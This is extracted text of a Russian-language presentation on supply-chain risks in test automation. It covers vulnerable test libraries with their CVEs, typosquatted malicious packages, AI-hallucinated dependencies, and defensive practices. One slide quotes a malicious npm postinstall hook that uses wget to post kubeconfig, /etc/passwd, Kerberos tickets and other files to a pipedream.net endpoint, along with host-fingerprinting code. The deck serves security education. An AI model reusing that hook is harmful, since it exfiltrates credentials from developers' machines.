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Введение: автотест и 

библиотека
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Автотест

Код тестов

Фреймворки/библиотеки

Конфигурация и тестовые 
данные

Автотесты

CI-раннер

Образ / ОС runner

Тестовые стенды и 
сервисы

Сеть и доступы

Окружение
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Библиотеки и 
компоненты

Код Функция

Библиотека

Репозиторий

Контур организации

Интернет

Удаленный 

репозиторий
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Проблемы open-source
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Опубликованные
уязвимости

CVE-2022-28108 (selenium_grid)

CVE-2022-45380 (Jenkins:junit)

CVE-2025-57285 (codeceptjs)

CVE-2020-28364 (locust)

Недостаток ПО с точки 

зрения безопасности. 

Ошибка в ходе 

разработки.
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Уязвимость и ее 
характеристики

CVE-2025-57285 – уникальный идентификатор

pkg:npm/codeceptjs – PURL библиотеки

[3.5.0,3.7.5) – диапазон уязвимых версий

9.8 (Critical) – CVSS-оценка

CWE-77 (Command Injection) – CWE-показатель

1.512% - EPSS-оценка

81% - EPSS-perсentile

Публичные базы

CVE, NVD

БДУ ФСТЭК

GitHub Security Advisory

GitLab Security Advisory

OSV (Google)

Коммерческие базы

Snyk

Sonatype

Mend

AppSec.Track

Функция emptyFolder подставляет в shell-команду путь к каталогу без 

экранизации/нейтрализации, что позволяет выполнить произвольные 

команды на машине, где запущен codeceptjs
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Уязвимые библиотеки Python

CVE
Информация об 

уязвимости

requests CVE-2023-32681

6.1 (Medium)
Риск утечки учетных данных учетных 

данных
при перенаправлении

CVE-2018-18074

7.5 (High)
При переадресации чувствительные 

заголовки отправлялись в 
незашифрованном виде

CVE-2024-35195
5.6 (Medium)

Уязвимость с проверкой SSL-
сертификатов сессии

locust CVE-2020-28364 6.1 (Medium)
XSS-уязвимость
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Уязвимые библиотеки Java

CVE
Информация об 

уязвимости

jenkins/junit CVE-2018-1000411 6.1 (Medium)
CSRF-атака

CVE-2018-1000056
8.3 (High)

Возможность выполнять команды на 
сервере

CVE-2022-45380
8.0 (High)

Небезопасная функция 
“автоопределения ссылок”

CVE-2023-25761 5.4 (Medium)
XSS-уязвимость

CVE-2022-34176 8.0 (High)
XSS-уязвимость
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Уязвимые библиотеки 
JavaScript

CVE
Информация об 

уязвимости

codeceptjs CVE-2025-57285 9.8 (Critical)
Command Injection

mockjs CVE-2023-26158 8.2 (High)
Prototype Pollution

tree-kit CVE-2023-38894 9.8 (Critical)
Prototype Pollution

selenium-chromedriver CVE-2016-10624 8.1 (High)
Missing Encryption of Sensitive Data
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Вредоносные пакеты

Malware

Заведомо вредоносный 

компонент, выполняющий 

нежелательный код.

TypoSquatting

"postinstall": "wget --post-file ~/.kube/config 
https://entfet95itcxpuu.m.pipedream.net;wget --post-file package.json 
https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/passwd 
https://entfet95itcxpuu.m.pipedream.net;wget --post-file /tmp/krb5cc_0 
https://entfet95itcxpuu.m.pipedream.net;wget --post-file /etc/hosts 
https://entfet95itcxpuu.m.pipedream.net" 

const trackingData = JSON.stringify({
p: package,
c: __dirname,
hd: os.homedir(),
hn: os.hostname(),
un: os.userInfo().username,
dns: dns.getServers(),
r: packageJSON ? packageJSON.___resolved : undefined,
v: packageJSON.version,
pjson: packageJSON,  

});

reqeusts вместо requests
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Архитектура автотестов

Код тестов

Фреймворки/библиотеки

Конфигурация и тестовые данные

Автотесты

CI-раннер

Образ / ОС runner

Тестовые стенды и сервисы

Сеть и доступы

Окружение
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Демонстрация выполняется на изолированном окружении с целью обучения 17
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Транзитивные зависимости
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Новая реальность: ИИ 
пишет автотесты 
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Проблемы безопасности 
ИИ-автотестов

1.Устаревшие и уязвимые зависимости

2.Галлюцинации: несуществующие пакеты

3.Избыточные зависимости
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Автотесты – самая недооцененная 
зона  риска

Автотесты – непродовый 

код

Автотесты вне поля 

зрения ИБ

Большой уровень 

доступа тестов

Защита продового кода 

растет
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Как защититься?
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1. Проверь пакет перед установкой

1. Правильно ли написано название пакета?

2. Какое количество загрузок у пакета?

3. Какая дата последнего обновления?

4. Кто автор пакета?

5. Пакет посоветовал ИИ? Проверь тщательнее.
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2. Строй дерево зависимостей и
запускай аудит библиотек

Визуализируй дерево зависимостей – pipdeptree, npm ls –

all, mvn dependency:tree
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2. Строй дерево зависимостей и
запускай аудит библиотек

Используй встроенные инструменты для проверки 

уязвимостей – pip audit, npm audit, mvn dependency-

check:check
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2. Строй дерево зависимостей и
запускай аудит библиотек

Фиксируй версии в файле манифеста
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3. Не бойся обновлять библиотеки.
Или бойся?

1. Обновляйся регулярно! Но…

2. Избегай обновления на новейшие версии сразу же, 

дай библиотеке «остыть»
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4. Используй ИИ как помощника по
безопасности

1. Попроси агента 

визуализировать дерево 

зависимостей

2. Попроси агента 

провести аудит 

безопасности

3. Используй MCP для 

библиотек
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5. Попроси помощи у команды ИБ или
DevOps

Попросите подключить ваш репозиторий с автотестами к 

сканерам компании
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5. Попроси помощи у команды ИБ или
DevOps
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5. Попроси помощи у команды ИБ или
DevOps

Попросите завести корпоративный реестр библиотек для 

автотестов и проксируйте пакеты оттуда
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5. Попроси помощи у команды ИБ или
DevOps
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5. Попроси помощи у команды ИБ или
DevOps

Обсудите использование принципа наименьших 

привилегий в пайплайне автотестов

Ротируйте токены
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Заключение: безопасность 

ваших автотестов начинается с 

вас.
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